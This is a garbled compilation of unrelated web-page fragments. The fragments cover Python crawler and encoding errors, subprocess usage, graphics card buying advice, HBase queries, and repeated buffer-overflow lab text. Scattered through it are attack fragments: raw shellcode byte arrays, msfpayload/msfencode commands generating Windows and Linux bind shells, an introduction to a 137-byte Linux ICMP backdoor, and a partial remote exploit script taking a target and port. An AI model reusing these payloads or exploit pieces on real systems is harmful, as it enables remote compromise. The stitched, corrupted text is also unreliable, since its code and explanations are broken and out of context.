x99 extreme4

Problem background: Specify crawler depth, number of threads, python implementation of parallel crawlerIdea: single-threaded implementation of crawler FetcherMultithreaded Threading. Thread to tune FetcherMethod: Fetcher, open the specified URL with Urllib.urlopen, read the information:Response = Urllib.urlopen (self.url) content = Response.read ()But this is problematic, for example, for www.sina.com, the content that is read is garbled:>>> content[0:100] ' \x1f\x8b\x08\x00\x00\x00\x00\x00\x00\

Article Title: ICMP backdoor code. Linux is a technology channel of the IT lab in China. Includes basic categories such as desktop applications, Linux system management, kernel research, embedded systems, and open source. There are some backdoors in many protocol applications. For example, the Linux ICMP backdoor we will introduce today. Next, let's take a detailed look at the specific content about the 137-byte remote ICMP backdoor in Linux. Use the Ping Control Program: /* X86 linux icmp bind

\x3e\x78\x31\x90"buf+="\x6c\x5f\x58\xee\x84\xb0\x30\x87\x60\xec\x58\x25\xad"buf+="\x4a\x6b\xc6\xb7\xd8\x70\xb8\x2f\xc8\xd9\xcf\xec\x10"buf+="\xcb\x67\x90\xf2\xdf\xf2\x4a\xf3\x23\xf6\xd1\x12\xa5"buf+="\xfb\x10\xa9\x56\x4e\xd0\xdc\x10\x21\x1d\xb5\x58\x17"buf+="\xe1\x6d\x69\x74\xc7\xac\x58\x1a\xc9\xf7\x00\xf8\x54"buf+="\x76\x05\x6d\xd4\x9e\x9c\x22\xdb\x0f\xa9\xfa\xe3\x8b"buf+="\x8e\x1a\x1f\x60\xdb\xbe\xef\x2f\x73\xa5\x42\x02\x93"buf+="\x89\x0f\x42\xfa\xae\xb9\x9b\xec\xe2\x53\x56\x38\x51"buf+="\x45\

command is correct, Incorrect then error---------------------------------------------------------------------------Calledprocesserror Traceback (most recent) If you want to execute complex shell commands, let's take a look at how to write them.In [17]: a = subprocess.run([‘df‘,‘-h‘,‘|‘,‘grep‘,‘Used‘],stdout=subprocess.PIPE,stderr=subprocess.PI ...: PE) # 刚刚的ls -l不就是这样的嘛一直拼参数怎么会报错了呢In [18]: a.stderr # 我知道是错误的，故意直接写的是标准错误输出Out[18]: b‘df: \xe2\x80\x98|\xe2\x80\

recent new graphics card there is a lot of bright spots, about a lot of small white to see such a good new graphics cards are moving to set up a new computer? Fancy a new video card but don't know how to match the motherboard? Mo Panic, small make up to you recommend a few sets of good plan ~ expensive cheap all have! The choice of true tyrants: Player Country X99 Platform Recommendation board: Asus ROG Strix

\ xae \ xf2 \ xea \ xb8 \ xb2 \ x04 \ xc1 \ xfe \ xca \ x86 \ xe0 \ x7e \ x29"."\ X96 \ x80 \ x7b \ x75 \ x10 \ x78 \ xf1 \ xe6 \ xf5 \ x7e \ xa6 \ x07 \ xdc \ x1c \ x29 \ x94 \ xbc \ xcc"."\ X1c \ x26 \ x11 \ x7f \ x72 \ x75 \ x0a \ xf5 \ x98 \ x79 \ x2f \ xb1 \ x76 \ x30 \ xe0 \ x3f \ x49 \ x74 \ x0d"."\ X93 \ x42 \ x0c \ xbf \ x92 \ xb8 \ x4e \ xba \ x4a \ xbe \ x99 \ x71 \ x09 \ xf8 \ x14 \ xa9 \ x96 \ x91 \ x7e"."\ X7c \ x77 \ x27 \ x25 \ x7b \

/shell_bind_tcp EXITFUNC = thread LPORT = 1337 R | msfencode-c 1-e x86/shikata_ga_nai-B "\ x00 \ x0a \ x0d \ xff \ x20" RShellcode = "\ xb8 \ x3b \ xaf \ xc1 \ x8a \ xdb \ xcd \ xd9 \ x74 \ x24 \ xf4 \ x5a \ x29 \ xc9"Shellcode + = "\ xb1 \ x56 \ x83 \ xc2 \ x04 \ x31 \ x42 \ x0f \ x03 \ x42 \ x34 \ x4d \ x34 \ x76"Shellcode + = "\ xa2 \ x18 \ xb7 \ x87 \ x32 \ x7b \ x31 \ x62 \ x03 \ xa9 \ x25 \ xe6 \ x31 \ x7d"Shellcode + = "\ x2d \ xaa \ xb9 \ xf6 \ x63 \ x5f \ x4a \ x7a \ xac \ x50 \ xfb \ x

There are some backdoors in many protocol applications. For example, the Linux ICMP backdoor we will introduce today. Next, let's take a detailed look at the specific content about the 137-byte remote ICMP backdoor in Linux. Use the Ping Control Program: /*x86 linux icmp bind shellcode (137 bytes) by gloomy@netric.org[example]main:/home/gloomy/security/shellcode/linux/icmp# ./icmpSize of shellcode = 137main:/home/gloomy/security/shellcode/linux/icmp# ping -p 992f7573722f62696e2f69643e6f7574 -c 1

performance computing, how to choose?There is a paper study, too high accuracy for deep learning error rate is not improved, and most of the environmental framework only support single-precision, so double-precision floating point calculation is not necessary, the Tesla series have been removed. From the performance indicators of the graphics card, Cuda core number of more, GPU frequency, memory to large, high bandwidth. In this way, the newest Titan x is a cheap and sufficient choice.CPU Selec

=info:loginid, timestamp=1343625459713, value= jjm1681310130000000002 Column=info:loginid, timestamp=1343625459713, Value=loveswhhbase (main):007:0> scan ' toplist_ware_ios_1009_201231 ', {columns=>[' info: '],filter=> ' (qualifierfilter (=, ' Substring:nid ')) "}ROW column+cell0000000001 Column=info:loginid, timestamp=1343625459713, value=jjm1681310130000000002 column=info: loginID, timestamp=1343625459713, Value=loveswhhbase (main):008:0> scan ' toplist_ware_ios_1009_201231 ', {columns=>[' inf

1. File processing=open(file="file01.txt", mode="r", encoding="utf-8"#python3默认编码格式为utf-8= f.read()print(data)print(type# f.close()If an error#UnicodeDecodeError: ‘utf-8‘ codec can‘t decode byte 0xcc in position 0: invalid continuation byteThe description is not coded.According to the normal logic, the file is stored in what way, it should be used in what way to read, such as gb2312, should be gb2312 to read. Files are stored in Utf-8, and are read in UTF-8 encoded format.2. File processing-bina

': Error parsing config:error parsing "enabled = ' 1 #\xe3\x81\x93\xe3\x81\x93\xe3\x82\x921\xe3\x81\xab\ Xe3\x81\x99\xe3\x82\x8b\xe3\x81\xa8\xe5\xb8\xb8\xe3\x81\xab\xe3\x81\x93\xe3\x81\xae\xe3\x83\xaa\xe3\x83\x9d\ Xe3\x82\xb8\xe3\x83\x88\xe3\x83\xaa\xe3\x82\x92\xe5\x88\xa9\xe7\x94\xa8\xe3\x81\x99\xe3\x82\x8b\xe3\x82\x88\ xe3\x81\x86\xe3\x81\xab\xe3\x81\xaa\xe3\x82\x8b ' ": Invalid Boolean valueRepodata is

server continued of these/../parameters Import socket, sys, OS, time If len (sys. argv )! = 3:Print "[*] Uso: % s Print "[*] Exploit created by Polunchis"Print "[*] https://www.intrusionlabs.org"Sys. exit (0)Target = sys. argv [1]Port = int (sys. argv [2]) # Msfpayload windows/shell_bind_tcp LPORT = 28876 R | msfencode-a x86-B '\ x00 \ xff \ x0a \ x0d \ x20 \ x40'-t cShellcode = ("\ Xda \ xcf \ xb8 \ xba \ xb3 \ x1e \ xe7 \ xd9 \ x74 \ x24 \ xf4 \ x5a \ x33 \ xc9 \ xb1""\ X56 \ x31 \ x42 \ x18

\ xe2 \ x58 \ x8b \ x58 \ x24 \ x01 \ xd3 \ x66 \ x8b" 14 + "\ x0c \ x4b \ x8b \ x58 \ x1c \ x01 \ xd3 \ x8b \ x04 \ x8b \ x01 \ xd0 \ x89 \ x44" 15 + "\ x24 \ x24 \ x5b \ x5b \ x61 \ x59 \ x5a \ x51 \ xff \ xe0 \ x58 \ x5f \ x5a \ x8b" 16 + "\ x12 \ xeb \ x86 \ x5d \ x68 \ x33 \ x32 \ x00 \ x00 \ x68 \ x77 \ x73 \ x32 \ x5f" 17 + "\ x54 \ x68 \ x4c \ x77 \ x26 \ x07 \ xff \ xd5 \ xb8 \ x90 \ x01 \ x00 \ x00 \ x29" 18 + "\ xc4 \ x54 \ x50 \ x68 \ x29 \ x80 \ x6b \ x00 \ xff \ xd5 \ x50 \ x

, \x78, \x79, \x7a, \x7f, \x80, \x81, \x82, \x83, \x84, \x85, \x86, \x87, \x88, \x89, \x8a, \x8b, \x8c, \x8d, \x8e, \x8f, \x90, \x91, \x92, \x93, \x94, \x95, \x96, \x97, \x98, \x99, \x9a, \ x9b, \x9c, \x9d, \x9e, \x9f, \xa0, \xa1, \xa2, \xa3, \xa4, \xa5, \xa6, \xa7, \xa8, \xa9, \xaa, \xab, \xac, \xad, \xae, \xa F, \xb0, \xb1, \xb2, \xb3, \xb4, \xb5, \xb6, \xb7, \xb8, \XB9, \xba, \xbb, \XBC, \XBD, \xbe, \XBF, \xc0, \xc1, \xc2, \xc3, \xc4, \xc5, \xc6,

, \x48, \x49, \x4a, \x4b, \x4c, \x4d, \x4e, \x4f, \x50, \x51, \x52, \x53, \x54, \ X55, \x56, \x57, \x58, \x59, \x5a, \x5f, \x61, \x62, \x63, \x64, \x65, \x66, \x67, \x68, \x69, \x6a, \x6b, \x6c, \x6d, \x6 E, \x6f, \x70, \x71, \x72, \x73, \x74, \x75, \x76, \x77, \x78, \x79, \x7a, \x7f, \x80, \x81, \x82, \x83, \x84, \x85, \x86, \x87, \x88, \x89, \x8a, \x8b, \x8c, \x8d, \x8e, \x8f, \x90, \x91, \x92, \x93, \x94, \x95, \x96, \x97, \x98, \x99, \x9a, \ x9b,

the ZSH program:/-s zsh shexit3.2 ShellcodeIn general, a buffer overflow can cause a program to crash, and in the program, the overflow data overwrites the return address. And if the data that overwrites the return address is another address, then the program jumps to that address, and if the address is a piece of well-designed code to implement other functions, this code is shellcode.Observe the following code:#include int main () {char *name[2];name[0] = " /bin/sh '; name[1] = null;execve (n

/bin/bash. The following instructions describe how to set up the ZSH program:sudo sucd /binrm shln -s zsh shexit3.2 ShellcodeIn general, a buffer overflow can cause a program to crash, and in the program, the overflow data overwrites the return address. And if the data that overwrites the return address is another address, then the program jumps to that address, and if the address is a piece of well-designed code to implement other functions, this code is shellcode.Observe the following code:#in

ZSH program:sudo sucd /binrm shln -s zsh shexit3.2 ShellcodeIn general, a buffer overflow can cause a program to crash, and in the program, the overflow data overwrites the return address. And if the data that overwrites the return address is another address, then the program jumps to that address, and if the address is a piece of well-designed code to implement other functions, this code is shellcode.Observe the following code:#include int main( ) {char *name[2];name[0] = ‘‘/bin/sh’’;name[1] =

the zsh Program:sudo suCd/binRM SHIn-s zsh SHExit3.2 ShellcodeIn general, a buffer overflow can cause a program to crash, and in the program, the overflow data overwrites the return address. And if the data that overwrites the return address is another address, then the program jumps to that address, and if the address is a piece of well-designed code to implement other functions, this code is shellcode. Observe the following code:#include {Char *name[2];name[0] = "/bin/sh"; name[1] = Null;exec